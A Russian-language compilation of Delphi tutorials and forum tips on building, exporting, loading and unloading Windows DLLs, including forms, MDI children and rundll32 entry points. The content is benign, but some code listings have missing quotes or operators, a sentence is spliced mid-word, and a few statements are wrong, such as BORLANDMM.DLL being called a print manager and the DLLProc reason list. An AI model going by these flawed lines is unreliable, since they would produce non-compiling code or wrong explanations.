  @HelloWorld := GetProcAddress(DLLInstance, HelloWorld');
  { вызываем процедуру на выполнение }
  HelloWorld(Self);
  { выгружаем DLL из оперативной памяти }
  FreeLibrary(DLLInstance);
end;

Как уже говорилось выше, одним из недостатков статической загрузки DLL является невозможность
продолжения работы приложения при отсутствии одной или нескольких библиотек. В случае с динамической
загрузкой у вас появляется возможность программно обрабатывать такие ситуации и не допускать, чтобы программа
вываливалась» самостоятельно. По возвращаемому функциями LoadLibrary и GetProcAddress значениям можно
определить, успешно ли прошла загрузка библиотеки и найдена ли в ней необходимая приложению процедура.
Приведенный ниже код демонстрирует это.

procedure TForm1.DynamicLoadBtnClick(Sender: TObject);
type
  THelloWorld = procedure(AForm : TForm);
var
  DLLInstance : THandle;
  HelloWorld : THelloWorld;
begin
  DLLInstance := LoadLibrary('myfirstdll.dll');
  if DLLInstance = 0 then begin
    MessageDlg('Невозможно загрузить DLL', mtError, [mbOK], 0);
    Exit;
  end;
  @HelloWorld := GetProcAddress(DLLInstance, 'HelloWorld');
  if @HelloWorld  nil then
    HelloWorld (Self)
  else
    MessageDlg('Не найдена искомая процедура!.', mtError, [mbOK], 0);
  FreeLibrary(DLLInstance);
end;

В DLL можно хранить не только код, но и формы.
Причем создание и помещение форм в динамическую библиотеку не слишком сильно отличается от работы
с формами в обычном проекте. Сначала мы рассмотрим, каким образом можно написать библиотеку,
содержащую формы, а затем мы поговорим об использовании технологии MDI в DLL.

Разработку DLL, содержащую форму, я продемонстрирую на примере.

Итак, во-первых, создадим новый проект динамической библиотеки.
Для этого выберем пункт меню File|New, а затем дважды щелкнем на иконку DLL .
После этого вы увидите примерно следующий код:

library Project2;
{здесь были комментарии}

uses
  SysUtils,
  Classes;

{$R *.RES}

begin
end.
Сохраните полученный проект. Назовем его DllForms.dpr.

Теперь следует создать новую форму. Это можно сделать по-разному.
Например, выбрав пункт меню File|New Form. Добавьте на форму какие-нибудь компоненты.
Назовем форму DllForm и сохраним получившийся модуль под именем DllFormUnit.pas .

Вернемся к главному модулю проекта и поместим в него функцию ShowForm, в задачу которой будет входить
создание формы и ее вывод на экран. Используйте для этого приведенный ниже код.

function ShowForm : Integer; stdcall;
var
  Form : TDLLForm;
begin
  Form := TDLLForm.Create(Application);
  Result := Form.ShowModal;
  Form.Free;
end;

Обращаю внимание, что для того, чтобы проект был скомпилирован без ошибок, необходимо добавить в секцию uses модуль Forms .

Экспортируем нашу функцию с использованием ключевого слова exports :

exports
  ShowForm;

Компилируем проект и получаем файл dllforms.dll. Эти простые шаги - все,
что необходимо сделать для сОбратите внимание, что функция ShowForm объявлена с использованием ключевого слова stdcall .
Оно сигнализирует компилятору использовать при экспорте функции соглашение
по стандартному вызову (standard call calling convention). Экспорт функции таким образом создает
возможность использования разработанной DLL не только в приложениях, созданных в Delphi.

Соглашение по вызову (Calling conventions) определяет, каким образом передаются аргументы при вызове функции.
Существует пять основных соглашений: stdcall, cdecl, pascal, register и safecall.
Подробнее об этом можно узнать, посмотрев раздел " Calling Conventions " в файле помощи Delphi.

Также обратите внимание, что значение, возвращаемое функцией ShowForm ,
соответствует значению ShowModal. Таким образом вы можете передавать некоторую информацию
о состоянии формы вызывающему приложению.

Ниже представлено два листинга, первый из которых содержит полный код файла
проекта DLL (модуль с формой здесь не приводится), а второй - модуль вызывающего приложения,
в котором используется только что разработанная нами библиотека.

library DllForms;

uses
  SysUtils,
  Classes,
  Forms,
  DllFormUnit in 'DllFormUnit.pas' {DllForm};

{$R *.RES}

function ShowForm : Integer; stdcall;
var
  Form : TDLLForm;
begin
  Form := TDLLForm.Create(Application);
  Result := Form.ShowModal;
  Form.Free;
end;

begin
end.

unit TestAppUnit;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
function ShowForm : Integer; stdcall;
  external 'dllforms.dll';
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowForm;
end;
end.

Прошу заметить, что при экспорте функции также было использовано ключевое слово stdcall.

Следует обратить особое внимание на работу с дочерними формами в DLL. Если, к примеру,
в вызывающем приложении главная форма имеет значение свойства FormStyle, равным MDIForm,
то при попытке вызова из DLL MDIChild-формы, на экране появится сообщение об ошибке,
в котором будет говориться, что нет ни одной активной MDI-формы.

В тот момент, когда вы пытаетесь показать ваше дочернее окно, VCL проверяет корректность
свойства FormStyle главной формы приложения. Однако в нашем случае все вроде бы верно.
Так в чем же дело? Проблема в том, что при проведении такой проверки, рассматривается объект Application,
принадлежащий не вызывающему приложению, а собственно динамической библиотеке.
Ну, и естественно, поскольку в DLL нет главной формы, проверка выдает ошибку.
Для того чтобы избежать такой ситуации, надо назначить объекту Application динамической библиотеки
объект Application вызывающего приложения. Естественно, это заработает только в том случае,
когда вызывающая программа - VCL-приложение. Кроме того, перед выгрузкой библиотеки из памяти
необходимо вернуть значение объекта Application библиотеки в первоначальное состояние.
Это позволит менеджеру памяти очистить оперативную память, занимаемую библиотекой.
Следовательно, вам нужно сохранить указатель на «родной» для библиотеки объект Application
в глобальной переменной, которая может быть использована при восстановлении его значения.

Итак, вернемся немного назад и перечислим шаги, необходимые нам для работы с помещенным
в DLL MDIChild-формами.

В динамической библиотеке создаем глобальную переменную типа TApplication.
Сохраняем указатель на объект Application DLL в глобальной переменной.
Объекту Application динамической библиотеки ставим в соответствие указатель на Application
вызывающего приложения.
Создаем MDIChild-форму и работаем с ней.
Возвращаем в первоначальное состояние значение объекта Application динамической библиотеки
и выгружаем DLL из памяти.
Первый шаг прост. Просто помещаем следующий код в верхней части модуля DLL:

var
  DllApp : TApplication;

Затем создаем процедуру, которая будет изменять значение объекта Application и создавать дочернюю форму.
Процедура может выглядеть примерно так:

procedure ShowMDIChild(MainApp : TApplication);
var
  Child : TMDIChild;
begin
  if not Assigned(DllApp) then begin
    DllApp := Application;
    Application := MainApp;
  end;
  Child := TMDIChild.Create(Application.MainForm);
  Child.Show;
end;

Все, что нам теперь необходимо сделать, - это предусмотреть возвращение значения объекта Application
в исходное состояние. Делаем это с помощью процедуры MyDllProc:

procedure MyDLLProc(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
    { DLL is выгружается. Восстанавливаем значение указателя Application}
    if Assigned(DllApp) then
      Application := DllApp;
end;

Вместо заключения.

Использование динамически подключаемых библиотек не так сложно, как это может показаться на первый взгляд.
DLL предоставляют широчайшие возможности для оптимизации работы приложений,
а также работы самих программистов. Используйте DLL и, возможно, ваша жизнь станет легче!

Использование динамически подключаемых библиотек не так сложно, как это может показаться на первый взгляд.
DLL предоставляют широчайшие возможности для оптимизации работы приложений,
а также работы самих программистов. Используйте DLL и, возможно, ваша жизнь станет легче!
http://subscribe.ru/
E-mail: ask@subscribe.ru Поиск
на АПОРТ на Subscribe.Ru

Взято с сайта http://blackman.wp-club.net/


Как написать DLL, которую можно было-бы выполнить с помощью RunDll, RunDll32?

Вы должны определить в программе вызываемую снаружи функцию.

Функция должна быть __stdcall (или WINAPI, что то же самое ;)) и иметь
четыре аргумента. Первый - HWND окна, порождаемого rundll32 (можно
использовать в качестве owner'а своих dialog box'ов), второй - HINSTANCE
задачи, третий - остаток командной строки (LPCSTR, даже под NT),
четвертый - не знаю ;). Hапример,

int __stdcall __declspec(dllexport) Test

(
  HWND hWnd,
  HINSTANCE hInstance,
  LPCSTR lpCmdLine,
  DWORD dummy
  )
{
MessageBox(hWnd, lpCmdLine, "Command Line", MB_OK);
return 0;
}

rundll32 test.dll,_Test@16 this is a command line

выдаст message box со строкой "this is a command line".

Oleg Moroz
(2:5020/701.22)

function Test(
  hWnd: Integer;
  hInstance: Integer;
  lpCmdLine: PChar;
  dummy: Longint
  ): Integer; stdcall; export;
begin
  Windows.MessageBox(hWnd, lpCmdLine, 'Command Line', MB_OK);
  Result := 0;
end;

Akzhan Abdulin
(2:5040/55)

Давненько я ждал эту инфоpмацию! Сел пpовеpять и наткнулся на очень
забавную вещь. А именно -- пусть у нас есть исходник на Си пpимеpно такого
вида:

int WINAPI RunDll( HWND hWnd, HINSTANCE hInstance, LPCSTR lpszCmdLine, DWORD
dummy )
......
int WINAPI RunDllW( HWND hWnd, HINSTANCE hInstance, LPCWSTR lpszCmdLine, DWORD
dummy )
......

и .def-файл пpимеpно такого вида:

EXPORTS
    RunDll
    RunDllA=RunDll

    RunDllW

то rundll32 становится pазбоpчивой -- под HТ вызывает UNICODE-веpсию. Под
95, pазумеется, ANSI. Rulez.

Alexey A Popoff
pvax@glas.apc.org, posp@ccas.ru
http://www.ccas.ru/~posp/popov/pvax.html
(2:5020/487.26)Администрирование


Соглашения о вызовах

При объявлении процедур и функций в динамических библиотеках используются различные соглашения о вызовах. Дело в том, что различные языки программирования по-разному реализуют передачу параметров в процедуру (через стек или регистры). Порядок следования параметров в стеке как раз определяется соглашением о вызовах.

Стандартный вызов в языках C++ и Object Pascal различается, но набор директив смены типа вызова позволяет обеспечить любую реализацию.

Во всех соглашениях о вызовах вызывающая процедура помещает параметры в стек. В зависимости от типа соглашения, очистка стека осуществляется вызывающей или вызываемой процедурой.

Если очистка стека выполняется вызывающей процедурой, то она успевает забрать из него возвращаемые значения.

Если очистка стека осуществляется вызываемой процедурой, то перед этим она помещает возвращаемые значения во временную область памяти.

Помимо рассмотренных ниже директив имеются еще три типа вызовов, которые не используются и сохранены для обеспечения обратной совместимости. Это директивы near, far, export.

Директива register

Эта директива используется по умолчанию. Поэтому нет необходимости добавлять ключевое слов register после объявления функции. Вызов такого типа называется быстрым (fast call). В нем используются три расширенных регистра процессора, в которые помещаются переменные длиной не более 32-х разрядов и указатели. Остальные параметры помещаются в стек слева направо. После использования стек очищается вызываемой процедурой.

Директива pascal

Реализует вызовы в стиле языка Pascal. За очистку стека отвечает вызываемая процедура. Параметры помещаются в стек слева направо. Этот способ вызова является очень быстрым, но не поддерживает переменное число параметров. Используется для обеспечения обратной совместимости.

Директива stdcall

Параметры помещаются в стек слева направо. Очистка стека осуществляется вызываемой процедурой. Этот вызов обеспечивает обработку фиксированного числа параметров.

Директива cdecl

Реализует вызовы в стиле языка С. Параметры в стек помещаются справа налево. Очистка стека осуществляется вызывающей процедурой. Такие вызовы обеспечивают обслуживание переменного числа параметров, но скорость обработки меньше, чем в вызовах при реализации директивы pascal.

Эта директива в основном применяется для обращения к динамическим библиотекам, использующим соглашения о вызовах в стиле языка С. Использование директивы cdecl для библиотек Delphi не вызовет ошибку компиляции, но переменное число параметров не обеспечит.

Директива safecall

Параметры помещаются в стек справа налево. Очистка стека осуществляется вызываемой процедурой. Используется в СОМ и основанных на ней технологиях.


Использование модуля ShareMem

Если динамическая библиотека в процессе работы использует переменные или функции, осуществляющие динамическое выделение памяти под собственные нужды (длинные строки, динамические массивы, функции New и GetMem), а также, если такие переменные передаются в параметрах и возвращаются в результатах, то в таких библиотеках обязательно должен использоваться модуль ShareMem. При этом в секции uses модуль должен располагаться на первом месте. Об этом напоминает комментарий, автоматически добавляемый в файл динамической библиотеки при создании (см. листинг 28.1).

Управление этими операциями осуществляет специальный диспетчер печати BORLANDMM.DLL. Он должен распространяться вместе с динамическими библиотеками, использующими модуль ShareMem.


Как выгрузить Dll из памяти?

function KillDll(aDllName: string): Boolean;
var
  hDLL: THandle;
  aName: array[0..10] of char;
  FoundDLL: Boolean;
begin
  StrPCopy(aName, aDllName);
  FoundDLL := False;
  repeat
    hDLL := GetModuleHandle(aName);
    if hDLL = 0 then
      Break;
    FoundDLL := True;
    FreeLibrary(hDLL);
  until False;
  if FoundDLL then
    MessageDlg('Success!', mtInformation, [mbOK], 0)
  else
    MessageDlg('DLL not found!', mtInformation, [mbOK], 0);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


DLL и ресурсы

...я также имею проблемы с другими функциями DLL, которые ведут себя иначе, чем при первом обращении к ним!

Недавно я и сам закончил большой "DLL-проект", в котором столкнулся с аналогичными проблемами. Я не знаком с вашим специфическим исключением, которое вы упомянули, но я могу предложить некоторые общие советы по поводу использования DLL.

Главное, что нужно помнить при разработке DLL - вы не должны допускать ситуацию, при которой любое исключение осталось бы неперехваченным (спасибо Pat Ritchey за столь мудрый совет). В теле экспортируемых функций "заверните" все в блоки try..except (которые замечательно обрабатываются Delphi).

Далее, любые ресурсы, которые вы явно создаете при открытии DLL, должны создаваться в обработчике FormCreate (а не в секции Initialization) и освобождаться в обработчике FormClose. Мне кажется, что при вызове DLL (и использовании ее для распределения ресурсов) они не полностью освобождается до тех пор, пока вызывающее приложение не будет закрыто, а при вторичном вызове DLL не перегружается (это мои наблюдения, но, похоже, они верны). По всей видимости, ресурсы, освобожденные в первый раз, во время второго вызова не пересоздаются. У меня была масса проблем до тех пор, пока в коде я не определил "нужное место" для освобождения ресурсов. Но после того, как я переместил работу с ресурсами в обработчики событий FormCreate и FormClose, GPF исчезли.

Кроме того, для освобождения ресурсов вы должны вместо метода Close или Free использовать метод Release.

Ну и последний совет: вы должны быть очень осторожными при создании и освобождении ресурсов в DLL и подходить к вопросу программирования очень тщательно. Delphi может простить такую ошибку в EXE, но не в DLL.

Надеюсь я помог вам.

Автор: Mike Leftwich (Ensemble Corp)

Взято с http://delphiworld.narod.ru


Разработка DLL в среде Borland Delphi (статья)

Если ваш компьютер работает под управлением операционной системы Windows, то вы не можете не знать о существовании динамических подсоединяемых библиотек (dynamic link libraries - DLL). Достаточно взглянуть на список файлов, расположенных в системном каталоге Windows - порой количество используемых операционной системой динамических библиотек достигает нескольких сотен. DLL являются неотъемлемой частью функционирования операционных систем семейства Microsoft Windows. Однако для вас может быть неочевидна необходимость использования динамических библиотек при разработке приложений. В рамках данной статьи мы поговорим о принципах функционирования DLL и их использования в процессе создания ваших собственных программ.

Для начала давайте выясним, что собой представляет динамическая подключаемая библиотека. Итак, DLL - это один или несколько логически законченных фрагментов кода, сохраненных в файле с расширением.dll. Этот код может быть запущен на выполнение в процессе функционирования какой-либо другой программы (такие приложения называются вызывающими по отношению к библиотеке), но сама DLL не является запускаемым файлом.

Существует два типа динамических библиотек - исполняемые и библиотеки ресурсов. Однако это не означает, что в одном файле не может находиться и код некоторой функции и какие-либо ресурсы. Просто иногда бывает удобно разнести реализацию исполняемых процедур и используемые приложением ресурсы в разные файлы.

Итак, процедуры и функции, содержащиеся в динамической библиотеке, можно разделить на два типа: те, которые могут быть вызваны из других приложений. Рассмотрим следующий пример:

Screen.Cursors[myCursor] := LoadCursor(HInstance, MYCURSOR');

LoadCursor - функция Windows API, которая вызывается приложением из динамической библиотеки User 32.dll. Кстати, примером хранимых в динамической библиотеке ресурсов могут являться такие стандартные диалоги Windows, как диалог открытия файла, диалог печати или настройки принтера. Эти диалоги находятся в файле Comctl32.dll. Однако многие прикладные разработчики используют функции вызова форм этих диалогов, совершенно не задумываясь, где хранится их описание.

Второй тип процедур - это те, которые используются только внутри самого файла библиотеки.

Аргументы в пользу использования DLL

Итак, прежде чем перейти к обсуждению структуры динамических библиотек, необходимо поговорить о тех преимуществах, которые предоставляет их использование разработчику. Во-первых, это повторное использование кода. Думаю, нет необходимости пояснять удобство использования один раз разработанных процедур и функций при создании нескольких приложений? Кроме того, в дальнейшем вы сможете продать некоторые из своих библиотек, не раскрывая исходных кодов. А чем тогда это лучше компонентов, спросите вы? А тем, что функции, хранящиеся в библиотеке, могут быть вызваны на выполнение из приложений, разработанных не на Object Pascal, а, например, с использованием C++Builder, Visual Basic, Visual C++ и т.д. Такой подход накладывает некоторые ограничения на принцип разработки библиотеки, но это возможно. Звучит заманчиво? Мне кажется, даже очень. Но это еще не все.

Во-вторых, использование DLL предоставляет возможность использования один загруженного в оперативную память кода несколькими приложениями. К примеру, если вы разрабатываете программное обеспечение для большого предприятия, то вполне возможно, что в различных созданных вами приложениях будут использоваться одни и те же функции, процедуры, формы и другие ресурсы. Естественно, что при выделении общих для нескольких приложений данных в DLL может привести к экономии как дискового пространства, так и оперативной памяти, иногда очень даже существенному.

В-третьих, следует поговорить вот о чем. Всего несколько лет назад при разработке программного обеспечения вы могли совершенно не волноваться относительно распространения ваших продуктов где-либо, кроме вашей страны. Я хочу сказать, что проблема перевода на другие языки текста на элементах управления (пункты меню, кнопки, выпадающие списки, подсказки), сообщений об ошибках и т.д. не стояла так остро, как сейчас. Однако, с повсеместным внедрением интернета у вас появилась возможность быстрой передачи готовых программных продуктов практически в любую точку мира. И что будут делать с вашей программой где-нибудь в Объединенных Арабских Эмиратах, если кроме как по-русски, она с пользователем общаться не умеет? Вы сами можете оценить этот эффект, если хоть раз на экране вашего компьютера вместо с детства знакомого русского языка появляется "арабская вязь" (например, из-за "сбоя" шрифтов). Итак, уже сейчас вы должны планировать возможность распространения ваших приложений в других странах (если, конечно, у вас есть желание получить как можно больше прибыли). Соответственно, встает вопрос быстрого перевода интерфейса вашей программы на другие языки. Одним из путей может являться создание ресурсов интерфейсов внутри DLL. К примеру, можно создать одно приложение, которое в зависимости от версии динамической библиотеки будет выводить сообщения на различных языках.

Естественно, выше приведены лишь некоторые из аргументов в пользу использования динамически подключаемых библиотек при разработке приложений. Итак, надеюсь, вы все еще заинтересованы в том, чтобы узнать, как, собственно, DLL создаются. Если так, то вперед.

Основы разработки DLL

Разработка динамических библиотек не представляет собой некий сверхсложный процесс, доступный лишь избранным. Если вы достаточно хорошо знакомы с разработкой приложений на Object Pascal, то вам не составит особого труда научиться работать с механизмом DLL. Итак, рассмотрим те особенности создания DLL, которые вам необходимо знать, а в завершении статьи разработаем свою собственную библиотеку.

Как и любой другой модуль, модуль динамической библиотеки имеет фиксированный формат. Взгляните на листинг, представленный ниже.

library MyFirstDLL;
uses
  SysUtils, Classes, Forms, Windows;

procedure HelloWorld(AForm : TForm);
begin
  MessageBox(AForm.Handle, 'Hello world!', 'DLL Message Box',
  MB_OK or MB_ICONEXCLAMATION);
end;

exports
  HelloWorld;

begin
end.

Первое, на что следует обратить внимание, это ключевое слово library, находящееся вверху страницы. Library определяет этот модуль как модуль библиотеки DLL. Далее идет название библиотеки. В нашем примере мы имеем дело с динамической библиотекой, содержащей единственную процедуру: HelloWorld. Причем обратите внимание, что данная процедура по структуре ничем не отличается от тех, которые вы помещаете в модули своих приложений. Ключевое слово exports сигнализирует компилятору о том, что перечисленные ниже функции и/или процедуры должны быть доступны из вызывающих приложений (т.е. они как бы "экспортируются" из библиотеки). Подробнее о механизме экспорта мы поговорим чуть позже.

И, наконец, в конце модуля можно увидеть ключевые слова begin и end. Внутри данного блока вы можете поместить код, который должен выполняться в процессе загрузки библиотеки. Достаточно часто этот блок остается пустым.

Как уже говорилось выше, все процедуры и функции, помещаемые в DLL, могут быть разделены на две группы: экспортируемые (вызываемые из других приложений) и локальные. Естественно, внутри библиотеки также могут быть описаны классы, которые в свою очередь содержат методы, но в рамках данной статьи я не буду на этом останавливаться.

Описание и реализация процедур и функций, вызываемых в пределах текущей DLL, ничем не отличаются от их аналогов в обычных проектах-приложениях. Их специфика заключается лишь в том, что вызывающая программа не будет иметь к ним доступа. Она просто не будет ничего знать об их существования, так же, как одни классы ничего не знают о тех методах, которые описаны в секции private других классов.

В дополнение к процедурам и функциям, DLL может содержать глобальные данные, доступ к которым разрешен для всех процедур и функций в библиотеке. Для 16-битных приложений эти данные существовали в единственном экземпляре независимо от количества загруженных в оперативную память программ, которые используют текущую библиотеку. Другими словами, если одна программа изменяет значение глобальной переменной a на 100, то для всех остальных приложений a будет значение 100. Для 32-битных приложений это не так. Теперь для каждого приложения создается отдельная копия глобальной области данных.

Экспорт функций из DLL

Как уже говорилось выше, для экспорта процедур и функций из DLL, необходимо использовать ключевое слово export. Еще раз обратите внимание на представленный выше листинг библиотеки MiFirstDll. Поскольку процедура HelloWorld определена как экспортируемая, то она может быть вызвана на выполнение из других библиотек или приложений. Существуют следующие способы экспорта процедур и функций: экспорт по имени и экспорт по порядковому номеру.

Наиболее распространенный способ экспорта - по имени. Взглянем на приведенный ниже текст:

exports
  SayHello,
  DoSomething,
  DoSomethingReallyCool;

Следует обратить внимание на то, что Delphi автоматически назначает порядковый номер каждой экспортируемой функции (процедуре) независимо от того, определяете вы его явно или нет. Явное определение индекса позволяет вам лично управлять порядковым номером экспортируемой функции или процедуры.

Для того, чтобы определить выполняется ли ваш кодек в DLL или в вызывающем приложении, можно воспользоваться глобальной переменной IsLibrary. Она принимает значение true в том случае, если код вызывается из библиотеки и false в случае выполнения процедуры или функции из вызывающего приложения.

Кроме этого, в поставку Delphi входит весьма полезная утилита tdump, которая предоставляет данные о том, какая информация экспортируется из указанной DLL.

Использование DLLProc

Выше я уже говорил о том, что код инициализации динамической библиотеки может быть помещен в блок begin...end. Однако кроме этого зачастую необходимо предусмотреть некоторые действия, выполняемые в процессе выгрузки DLL из оперативной памяти. В отличии от других типов модулей, модуль DLL не имеет ни секции initialization, ни секции finalization. К примеру, вы можете динамически выделить память в главном блоке, однако не понятно, где эта память должна быть освобождена. Для решения этой проблемы существует DLLProc - специальная процедура, вызываемая в определенные моменты функционирования DLL.

Для начала следует сказать о самой причине существования DLLProc. Динамическая библиотека получает сообщения от Windows в моменты своей загрузки и выгрузки из оперативной памяти, а также в тех случаях, когда какой-нибудь очередной процесс, использующий функции и/или ресурсы, хранящиеся в библиотеке, загружается в память. Такая ситуация возможно в том случае, когда библиотека необходима для функционирования нескольких приложений. А для того, чтобы вы имели возможность указывать, что именно должно происходить в такие моменты, необходимо описать специальную процедуру, которая и будет ответственна за такие действия. К примеру, она может выглядеть следующим образом:

procedure MyFirstDLLProc(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
    {DLL is unloading. Cleanup code here.}
end;

Однако системе совершенно не очевидно, что именно процедура MyFirstDllProc ответственна за обработку рассмотренных выше ситуаций. Поэтому вы должны поставить в соответствие адрес нашей процедуры глобальной переменной DLLProc. Это необходимо сделать в блоке begin...end примерно так:

begin
  DLLProc := @MyDLLProc;
  { Что-нибудь еще, что должно выполняться в
  процессе инициализации библиотеки }
end.

Ниже представлен код, демонстрирующий один из возможных вариантов применения DLLProc.

library MyFirstDLL;
uses
  SysUtils, Classes, Forms, Windows;

var
  SomeBuffer: Pointer;

procedure MyFirstDLLProc(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
    {DLL is выгружается из памяти.
    Освобождаем память, выделенную под буфер.}
    FreeMem(SomeBuffer);
end;

procedure HelloWorld(AForm: TForm);
begin
  MessageBox(AForm.Handle, 'Hello world!',
  'DLL Message Box', MB_OK or MB_ICONEXCLAMATION);
end;

{Какой-нибудь код, в котором используется SomeBuffer.}

exports
  HelloWorld;

begin
  {Ставим в соответствие переменной
  DLLProc адрес нашей процедуры.}
  DLLProc := @MyFirstDLLProc;
  SomeBuffer := AllocMem(1024);
end.

Как можно увидеть, в качестве признака того или иного события, в результате которого вызывается процедура MyFirstDll, является значение переменной Reason. Ниже приведены возможные значения этой переменной.

DLL_PROCESS_DETACH
библиотека выгружается из памяти; используется один раз;
DLL_THREAD_ATTACH
в оперативную память загружается новый процесс, использующий ресурсы и/или код из данной библиотеки;
DLL_THREAD_DETACH
один из процессов, использующих библиотеку, "выгружается" из памяти.

Загрузка DLL

Прежде чем начать использование какой-либо процедуры или функции, находящейся в динамической библиотеке, вам необходимо загрузить DLL в оперативную память. Загрузка библиотеки может быть осуществлена одним из двух способов: статическая загрузка и динамическая загрузка. Оба метода имеют как преимущества, так и недостатки.

Статическая загрузка означает, что динамическая библиотека загружается автоматически при запуске на выполнение использующего ее приложения. Для того чтобы использовать такой способ загрузки, вам необходимо воспользоваться ключевым словом external при описании экспортируемой из динамической библиотеки функции или процедуры. DLL автоматически загружается при старте программы, и Вы сможете использовать любые экспортируемые из нее подпрограммы точно так же, как если бы они были описаны внутри модулей приложения. Это наиболее легкий способ использования кода, помещенного в DLL. Недостаток метода заключается в том, что если файл библиотеки, на который имеется ссылка в приложении, отсутствует, программа откажется загружаться.

Смысл динамического метода заключается в том, что вы загружаете библиотеку не при старте приложения, а в тот момент, когда вам это действительно необходимо. Сами посудите, ведь если функция, описанная в динамической библиотеке, используется только при 10% запусков программы, то совершенно нет смысла использовать статический метод загрузки. Выгрузка библиотеки из памяти в данном случае также осуществляется под вашим контролем. Еще одно преимущества такого способа загрузки DLL - это уменьшение (по понятным причинам) времени старта вашего приложения. А какие же у этого способа имеются недостатки? Основной, как мне кажется, - это то, что использование данного метода является более хлопотным, чем рассмотренная выше статическая загрузка. Сначала вам необходимо воспользоваться функцией Windows API LoadLibrary. Для получения указателя на экспортируемой процедуры или функции должна использоваться функция GetProcAddress. После завершения использования библиотеки DLL должна быть выгружена с применением FreeLibrary.

Вызов процедур и функций, загруженных из DLL.

Способ вызова процедур и функций зависит от того, каким образом вы загрузили динамическую библиотеку, в которой эти подпрограммы находятся.

Вызов функций и процедур из статически загруженных DLL достаточно прост. Первоначально в приложении должно содержаться описание экспортируемой функции (процедуры). После этого вы можете их использовать точно так же, как если бы они были описаны в одном из модулей вашего приложения. Для импорта функции или процедуры, содержащейся в DLL, необходимо использовать модификатор external в их объявлении. К примеру, для рассмотренной нами выше процедуры HelloWorld в вызывающем приложении должна быть помещена следующая строка:

procedure SayHello(AForm : TForm); external myfirstdll.dll';

Ключевое слово external сообщает компилятору, что данная процедура может быть найдена в динамической библиотеке (в нашем случае - myfirstdll.dll). Далее вызов этой процедуры выглядит следующим образом:

...
HelloWorld(self);
...

При импорте функции и процедур будьте особенно внимательны при написании их имен и интерфейсов! Дело в том, что в процессе компиляции приложения не производится проверки на правильность имен объектов, экспортируемых из DLL, осуществляться не будет, и если вы неправильно описали какую-нибудь функцию, то исключение будет сгенерировано только на этапе выполнения приложения.

Импорт из DLL может проводиться по имени процедуры (функции), порядковому номеру или с присвоением другого имени.

В первом случае вы просто объявляете имя процедуры и библиотеку, из которой ее импортируете (мы это рассмотрели чуть выше). Импорт по порядковому номеру требует от вас указание этого самого номера:

procedure HelloWorld(AForm : TForm);external myfirstdll.dll' index 15;

В этом случае имя, которое вы даете процедуре при импорте не обязательно должно совпадать с тем, которое было указано для нее в самой DLL. Т.е. приведенная выше запись означает, что вы импортируете из динамической библиотеки myfirstdll.dll процедуру, которая в ней экспортировалась пятнадцатой, и при этом в рамках вашего приложения этой процедуре дается имя SayHello.

Если вы по каким-то причинам не применяете описанный выше способ импорта, но тем не менее хотите изменить имя импортируемой функции (процедуры), то можно воспользоваться третьим методом:

procedure CoolProcedure;external myfirstdll.dll' name DoSomethingReallyCool';

Здесь импортируемой процедуре CoolProcedure дается имя DoSomethingReallyCool. Вызов процедур и функций, импортируемых из динамически загружаемых библиотек несколько более сложен, чем рассмотренный нами выше способ. В данном случае требуется объявить указатель на функцию или процедуру, которую вы собираетесь использовать. Помните процедуру HelloWorld? Давайте посмотрим, что необходимо сделать для того, чтобы вызвать ее на выполнение в случае динамической загрузки DLL. Во-первых, вам необходимо объявить тип, который описывал бы эту процедуру:

type
  THelloWorld = procedure(AForm : TForm);

Теперь вы должны загрузить динамическую библиотеку, с помощью GetProcAddress получить указатель на процедуру, вызвать эту процедуру на выполнение, и, наконец, выгрузить DLL из памяти. Ниже приведен код, демонстрирующий, как это можно сделать:

var
  DLLInstance : THandle;
  HelloWorld : THelloWorld;
begin
  { загружаем DLL }
  DLLInstance := LoadLibrary(myfirstdll.dll');
  { получаем указатель }
  @HelloWorld := GetProcAddress(DLLInstance, HelloWorld');
  { вызываем процедуру на выполнение }
  HelloWorld(Self);
  { выгружаем DLL из оперативной памяти }
  FreeLibrary(DLLInstance);
end;

Как уже говорилось выше, одним из недостатков статической загрузки DLL является невозможность продолжения работы приложения при отсутствии одной или нескольких библиотек. В случае с динамической загрузкой у вас появляется возможность программно обрабатывать такие ситуации и не допускать, чтобы программа "вываливалась" самостоятельно. По возвращаемому функциями LoadLibrary и GetProcAddress значениям можно определить, успешно ли прошла загрузка библиотеки и найдена ли в ней необходимая приложению процедура. Приведенный ниже код демонстрирует это.

procedure TForm1.DynamicLoadBtnClick(Sender: TObject);
type
  THelloWorld = procedure(AForm : TForm);
var
  DLLInstance : THandle;
  HelloWorld : THelloWorld;
begin
  DLLInstance := LoadLibrary('myfirstdll.dll');
  if DLLInstance = 0 then
  begin
    MessageDlg('Невозможно загрузить DLL', mtError, [mbOK], 0);
    Exit;
  end;
  @HelloWorld := GetProcAddress(DLLInstance, 'HelloWorld');
  if @HelloWorld <> nil then
    HelloWorld (Self)
  else
    MessageDlg('Не найдена искомая процедура!.', mtError, [mbOK], 0);
  FreeLibrary(DLLInstance);
end;

В DLL можно хранить не только код, но и формы. Причем создание и помещение форм в динамическую библиотеку не слишком сильно отличается от работы с формами в обычном проекте. Сначала мы рассмотрим, каким образом можно написать библиотеку, содержащую формы, а затем мы поговорим об использовании технологии MDI в DLL.

Разработку DLL, содержащую форму, я продемонстрирую на примере.

Итак, во-первых, создадим новый проект динамической библиотеки. Для этого выберем пункт меню File|New, а затем дважды щелкнем на иконку DLL. После этого вы увидите примерно следующий код:

library Project2;
{здесь были комментарии}
uses
  SysUtils, Classes;
{$R *.RES}
begin
end.

Сохраните полученный проект. Назовем его DllForms.dpr.

Теперь следует создать новую форму. Это можно сделать по-разному. Например, выбрав пункт меню File|New Form. Добавьте на форму какие-нибудь компоненты. Назовем форму DllForm и сохраним получившийся модуль под именем DllFormUnit.pas.

Вернемся к главному модулю проекта и поместим в него функцию ShowForm, в задачу которой будет входить создание формы и ее вывод на экран. Используйте для этого приведенный ниже код.

function ShowForm : Integer; stdcall;
var
  Form : TDLLForm;
begin
  Form := TDLLForm.Create(Application);
  Result := Form.ShowModal;
  Form.Free;
end;

